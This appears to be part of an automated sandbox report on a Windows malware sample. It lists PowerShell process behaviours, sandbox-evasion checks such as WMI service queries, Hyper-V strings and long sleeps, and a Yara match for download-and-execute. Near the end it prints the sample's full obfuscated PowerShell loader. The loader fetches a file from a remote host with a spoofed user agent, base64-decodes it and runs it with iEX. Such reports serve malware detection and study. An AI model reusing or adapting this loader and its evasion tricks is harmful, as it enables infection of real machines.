Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5323	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4568	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7815	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1935	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1580	Thread sleep time: -3689348814741908s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicshutdown Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicheartbeat Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvmsession Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicrdv Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicguestinterface Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #Hyper-V Remote Desktop Virtualizati
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: wscript.exe, 00000000.00000003.1245680003.000001C8482C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rvice135.0.7023.0)Group Policy ClientGraphicsPerfSvcHuman Interface Device ServiceHV Host ServiceWindows Mobile Hotspot ServiceIKE and AuthIP IPsec Keying ModulesMicrosoft Store Install ServiceIP HelperIP Translation Configuration ServiceCNG Key IsolationKtmRm for Distributed Transaction CoordinatorServerWorkstationGeolocation ServiceWindows License Manager ServiceLink-Layer Topology Discovery MapperTCP/IP NetBIOS HelperLSMLanguage Experience ServiceDownloaded Maps ManagerMcpManagementServiceMicrosoft Edge Elevation Service (MicrosoftEdgeElevationService)Windows Mixed Reality OpenXR ServiceMozilla Maintenance ServiceWindows Defender FirewallDistributed Transaction CoordinatorMicrosoft iSCSI Initiator ServiceWindows InstallerMicrosoft Keyboard FilterNatural AuthenticationNetwork Connectivity AssistantNetwork Connection BrokerNetwork Connected Devices Auto-SetupNetlogonNetwork ConnectionsNetwork List ServiceNetSetupSvcNet.Tcp Port Sharing ServiceMicrosoft Passport ContainerMicrosoft PassportNetwork Location AwarenessNetwork Store Interface ServicePeer Networking Identity ManagerPeer Networking GroupingProgram Compatibility Assistant ServiceBranchCacheWindows Perception Simulation ServicePerformance Counter DLL HostPhone ServicePerformance Logs & AlertsPlug and PlayPNRP Machine Name Publication ServicePeer Name Resolution ProtocolIPsec Policy AgentPowerPrinter Extensions and NotificationsUser Profile ServiceWindows PushToInstall ServiceQuality Windows Audio Video ExperienceRemote Access Auto Connection ManagerRemote Access Connection ManagerRouting and Remote AccessRemote RegistryRetail Demo ServiceRadio Management ServiceRPC Endpoint MapperRemote Procedure Call (RPC) LocatorRemote Procedure Call (RPC)Security Accounts ManagerSmart CardSmart Card Device Enumeration ServiceTask SchedulerSmart Card Removal PolicyWindows BackupSecondary Log-onWindows Security ServicePayments and NFC/SE ManagerSystem Event Notification ServiceWindows Defender Advanced Threat Protection ServiceSensor Data ServiceSensor ServiceSensor Monitoring ServiceRemote Desktop ConfigurationSystem Guard Runtime Monitor BrokerInternet Connection Sharing (ICS)Spatial Data ServiceShell Hardware DetectionShared PC Account ManagerMicrosoft Storage Spaces SMPMicrosoft Windows SMS Router Service.SNMP TrapWindows Perception ServicePrint SpoolerSoftware ProtectionSSDP DiscoveryOpenSSH Authentication AgentSecure Socket Tunneling Protocol ServiceState Repository ServiceWindows Image Acquisition (WIA)Storage ServiceSpot VerifierMicrosoft Software Shadow Copy ProviderSysMainSystem Events BrokerTouch Keyboard and Handwriting Panel ServiceTelephonyRemote Desktop ServicesThemesStorage Tiers ManagementTime BrokerWeb Account ManagerDistributed Link Tracking ClientRecommended Troubleshooting ServiceWindows Modules InstallerAuto Time Zone UpdaterUser Experience Virtualization ServiceRemote Desktop Services UserMode Port RedirectorUPnP Device HostUser ManagerUpdate Orchestrator ServiceVolumetric Audio Co
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Time Synchronization Service
Source: wscript.exe, 00000000.00000003.1245748438.000001C84A1B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $AU d sTtpaAt iSo n e r edocnAd,e sBdoc D o w n,l,oCa dTFDiElSedoc(A$ t uGdTe mSiOkdock e lSsK,a$BD e lCldocaHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =doc$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GDdocDTUhdocrTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa tdocH N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ GdoclOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR doc cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: bdoclRA nPk eSTiT ETN R=doc FG eDt -McRoJn t edocNHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtrykkene (Pigtraadsorkesteret 'f$KgAl oSb a lB:,W,eCbBb a n kK = E[lSSy s,tPe mSdocSC oSn v e rCt ]p: :KFBrNoAm B adocsUe 6,4KSMtVrdocinn,g,( $pBdoclRadocn kNeAtFtMeNndoc)');Blodtrykkene (Pigtraadsorkesteret 'F$,G l O B a LM:,kFHmaClOS Adoc = ,[SsRYDsAtdoceTmEdocGTBe XVT,docMEBnSc oAdTiCNdocg ] : :eA,S cOIGi doc g Eat SRT RdocISnLgU(V$ wBESBUBTa,N K )');Blodtrykkene (Pigtraadsorkesteret 'T$ G l OTBdocA l : bSEanUv aGRSm eNrSNFe S =T$bk,H,a L S aWdoc SWUPb SLTFr IFnCgT(w$ lDONsGn i NSgdocE NuSU, $ e s sdocA yFiSCGa LR)');Blodtrykkene $Benvarmernes;Management ServiceRPC Endpoint MapperRemote Procedure Call (RPC) LocatorRemote Procedure Call (RPC)Security Accounts ManagerSmart CardSmart Card Device Enumeration ServiceTask SchedulerSmart Card Removal PolicyWindows BackupSecondary Log-onWindows Security ServicePayments and NFC/SE ManagerSystem Event Notification ServiceWindows Defender Advanced Threat Protection ServiceSensor Data ServiceSensor ServiceSensor Monitoring ServiceRemote Desktop ConfigurationSystem Guard Runtime Monitor BrokerInternet Connection Sharing (ICS)Spatial Data ServiceShell Hardware DetectionShared PC Account ManagerMicrosoft Storage Spaces SMPMicrosoft Windows SMS Router Service.SNMP TrapWindows Perception ServicePrint SpoolerSoftware ProtectionSSDP DiscoveryOpenSSH Authentication AgentSecure Socket Tunneling Protocol ServiceState Repository ServiceWindows Image Acquisition (WIA)Storage ServiceSpot VerifierMicrosoft Software Shadow Copy ProviderSysMainSystem Events BrokerTouch Keyboard and Handwriting Panel ServiceTelephonyRemote Desktop ServicesThemesStorage Tiers ManagementTime BrokerWeb Account ManagerDistributed Link Tracking ClientRecommended Troubleshooting ServiceWindows Modules InstallerAuto Time Zone UpdaterUser Experience Virtualization ServiceRemote Desktop Services UserMode Port RedirectorUPnP Device HostUser ManagerUpdate Orchestrator ServiceVolumetric Audio Compositor ServiceC
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmictimesync Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Stopped vmicvss
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvss Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmickvpexchange Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000002.00000002.1419422353.0000019B654E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Time Synchronization Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7524.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5328, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t

Jump to behavior

